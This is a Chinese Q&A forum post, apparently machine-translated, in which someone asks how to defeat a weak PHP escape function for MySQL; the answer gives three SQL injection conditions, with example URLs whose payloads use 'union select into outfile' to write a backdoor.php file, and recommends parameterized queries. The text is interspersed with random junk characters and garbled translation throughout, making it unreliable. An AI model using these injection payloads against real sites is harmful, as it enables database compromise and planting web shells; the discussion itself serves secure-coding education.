回答

收藏

为MySql找到了一个弱的转义函数,该如何利用?

技术问答 技术问答 248 人阅读 | 0 人回复 | 2023-09-14

在我正在开发的应用程序中,我发现了一个弱逃生功能来防止注入。我试图证明这一点,但我很难举一个简单的例子。: Q, X. a3 j6 a4 n
转换功能的工作模式如下(PHP示例)。
1 t& @0 y2 T8 ofunction escape($value) {  $value = str_replace("'","''",$value);  $value = str_replace("\\","\\\\",$value);  return $value;}我意识到双引号()编码的值没有处理,但所有查询都使用单引号(’)构造的。, H+ J/ F( o+ x' m# C: f
谁能打败这个逃生功能?
+ {# D7 t' s) \' T+ h6 c要求:$ H8 K, V7 Z# F
查询中的字符串总是由引号引起的。5 x8 J, a, e' L
双引号永远不会用。+ }' V! ?. t  O$ r' j- U. s
MySQL连接设置为UTF8。
简单的例子:
! ~+ i" C1 x7 E$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";               
' k  C* E( J$ c, y$ L    解决方案:                                                                / L& W% Y3 P" _* Y+ N9 J, ^2 [
                                                                如果您 只是    通过注入, 可以替换a来利用它,\'这将变成a
9 [7 A7 q$ o. w! W. u\这将使你突破,因为它给了你字符文字单引号和真正的单引号。但是,替换"\\" 可以"\\\\"抵消此攻击。双单引号用于转义。
2 T; d" i  R% u! ^( U0 ?" k6 xMS-SQL但这不适用于单引号MySQL,但是可以用。1 T. M& _5 A5 z3 k5 S: _# E" L
以下代码 证明    此转义功能除以下 三种情况    以外的所有 条件
9 Z% H+ k3 U- ^1 L' X0 ?所有这些都是安全的。该代码对控制宪章的所有可能变体进行排列,并测试每个变体,以确保单引号的使用select句子不会出错。这个代码已经在了MySQL
7 e8 ?0 [# G4 U5.1.测试在41上进行。  U# C) E1 u9 f# ~
漏洞条件1:无引号。
$ Y# a3 c$ W+ ~! y6 I$ k+ V, Wmysql_query("select username from users where id=".escape($_GET['id']));开发:
. m: W! M, j1 _  R% Qhttp://localhost/sqli_test.php?id=union select "" into outfile "/var/www/backdoor.php"漏洞条件2:双引号
7 f9 F8 H+ x: ]0 Emysql_query("select username from users where id=\"".escape($_GET['id'])."\"");开发:
% U. \" B7 \/ S* ]- [5 M* }http://localhost/sqli_test.php?id=" union select "" into outfile "/var/www/backdoor.php" -- 1漏洞条件2:使用单引号,但使用 代替字符集。/ U) ^6 K* o4 ]" ^6 ^
mysql_set_charset("GBK")mysql_query("select username from users where id='".escape($_GET['id'])."'");开发:6 ^7 ?0 F4 o. f0 F1 B
http://localhost/sqli_test.php?id=?' union select "" into outfile "/var/www/backdoor.php" -- 1结论是一直这样mysql_real_escape_string()用作MySQL转义例程。mysql_real_escape_string()连接到mysql参数化查询库始终用于数据库(如pdo和adodb)。
3 Y& B' c) E7 N! c/ j, Iaddslashes()为 更好的( ~/ v. Z7 C: i6 @8 D4 y" x
逃生程序,因为它需要照顾的弱势状况2.应该指出的是,甚至没有mysql_real_escape_string()停止条件1,但愿意参数化查询库。
分享到:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则